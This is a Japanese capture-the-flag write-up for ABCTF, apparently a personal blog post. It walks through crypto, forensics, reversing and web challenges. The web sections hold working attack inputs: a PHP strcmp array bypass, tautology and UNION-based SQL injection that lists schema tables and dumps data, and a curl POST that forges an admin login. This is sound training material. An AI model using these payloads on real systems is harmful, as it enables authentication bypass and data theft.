writeup的な
ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…
と楽しみに思っていたのですが、いつの間にか終わっていたので、
少し凹んだ。
Writeupがわりと寂しくなっていてショボイですが、覚え書き。
Caesar Salad - Crypt 10
xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}
caesar solver
などでグーグル先生に聞いたり
abctf{w3_thought_w3_n33d3d_on3_of_th3s3}
Elemental - Web 10
<!-- 7xfsnj65gsklsjsdkj -->
Just open it - Forensic 15
strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep "ABCTF" ABCTF{forensics_1_tooo_easy?}
GZ - Forensic 30
解凍するだけでした。たしか。
The Flash - Web 35
$ echo "c3RvcHRoYXRqcw==" | base64 -D stopthatjs
Drive Home - Recon 50
document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing
googleドキュメントのURLっぽいなあと
思っていたら、そんな感じでした。
Chocolate - Web 50
cookieの内容e2FkbWluOmZhbHNlfQ%3D%3D
をデコードしてみて、
$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D {admin:false}
false→trueにしてまた戻したり
Java Madness - Rev 50
引数の文字を逆にしているだけみたいな
$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\ ")' | xargs java what_the_hack ... Flag: ABCTF{ftc tselooc eht si ftcba}
手で逆にしていったほうが楽…
とりあえずrubyが書きたかった
Hide And Seek - Bin 50
main: ... 0x0000000100000f0c <+28>: cmp eax,0x0 0x0000000100000f0f <+31>: jne 0x100000f1a <main+42> → 出力しておわり 0x0000000100000f15 <+37>: call 0x100000e70 <totallyNotTheFlag> ... totallyNotTheFlag: ... 0x0000000100000eb0 <+64>: call 0x100000e00 <decrypt> ... decrypt: 0x0000000100000e2c <+44>: cmp rcx,rax 0x0000000100000e2f <+47>: jae 0x100000e63 <decrypt+99> → ret
gdbで適当にdecryptをループさせまくるだけでしょうか
gdb$ b *main+28 gdb$ b *decrypt+44 gdb$ r gdb$ set $eax=0 gdb$ c gdb$ set $rcx=0x0 gdb$ set $rax=0x30 gdb$ d 1 gdb$ commands 2 x/s $rdx set $rcx=0x0 set $rax=0x30 end gdb$ c
あとはエンター押しまくるだけ…
gdb$ Continuing. 0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"
MoonWalk - Forensic 60
foremostしました。
L33t H4xx0r - Web 70
source.txt
... if(strcmp($PASSWORD, $_GET['password']) == 0){ $success = true; }else{ $success = false; } ...
strcmpのやつでしょうか。
配列で送って…
http://yrmyzscnvh.abctf.xyz/web6/?password[]=a
abctf{always_know_whats_going_on}
そんな感じです。
Get 'Em All - Web 80
よくあるやつですね
' or 1 = 1 ; -- '
ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}
JS Pls - Rev 80
base64をデコードして難読化された部分を見やすくするために、
&&のところで改行したあと、
メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、
あとはわりと手作業でした。
process.stdin.resume(); process.stdin.setEncoding('utf8'); console.log('Give me a flag'); process.stdin.on('data', function (a) { a = a.trim(); 19 === a.length && a.substr(0, '5') === "ABCTF" && a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1 && 123 === a['5'].charCodeAt(0) && a.substr('6', '4') === Object.keys(process.versions)[1] && a['10'] === a['13'] && 95 === a['10'].charCodeAt(0) && a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0] && a.substr('14', '4') === "w4Ck" && (console.log('nice job!'), process.exit()); console.log('nope!'); process.exit(); });
上から順に、
- 19文字
- 0~5はABCTF
- 最後は
}
- 5文字目は
{
- 6~9文字目
node
$ node -e "console.log(Object.keys(process.versions)[1])" node
- 11文字目と13文字目は一緒
- 10文字目は
_
node -e "console.log(String.fromCharCode(95))" _
- 11~12文字目は
is
console.log((typeof x)['5'] + (typeof a)[0])
をつっこんでみる
- 14~17文字目は
w4Ck
ということがわかるので、
まとめると、ABCTF{node_is_w4Ck}
みたいな感じで。
もう少し効率よく頑張りたい…そんなこの頃。
Reunion - Web 150
?id=sleep(1)
とか?id=1 or 1=1 ; --
やると時間がかかったり全部出てきたりするので'
いらないんだなとか分かったり
こんな感じかな
select * from Dog where id = $_GET['id']
みたいな感じで
unionのカラム数を1 union select 1,1,1
みたいな感じで増やしていくと
カラム数は4つだとわかるので、
とりあえずテーブル名が欲しいので
1 AND 1=2 UNION SELECT table_schema, table_name ,1,1 FROM information_schema.tables ; --
... Color: 1 Name: INNODB_BUFFER_PAGE_LRU Breed: information_schema Color: 1 Name: w0w_y0u_f0und_m3 Breed: webeight Color: 1 Name: webeight ...
w0w_y0u_f0und_m3
テーブルが怪しい。何だ
1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --
。
abctf{uni0n_1s_4_gr34t_c0mm4nd}
的な感じで
Inj3ction - Web 170
login.txt
... $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($con, $query); $logged_in = false; if(mysqli_num_rows($result) === 1) { $row = mysqli_fetch_array($result); if($row["password"] === $password){ $logged_in = true; if($row["is_admin"] === true){ echo("<h1>Wow! Your flag is: $flag </h1>"); } } } ...
- 1行
- 結果のpasswordがPOSTされたpasswordと一致
- is_adminがtrue
を満たす結果をunionすれば良いのかな こんな感じで
1' union select 1,1,'pass',true ' ;--
みたいな
curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass <h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>
そんなこんなでした。頑張ります。
あと、開催期間はちゃんと把握しておきます。ええ。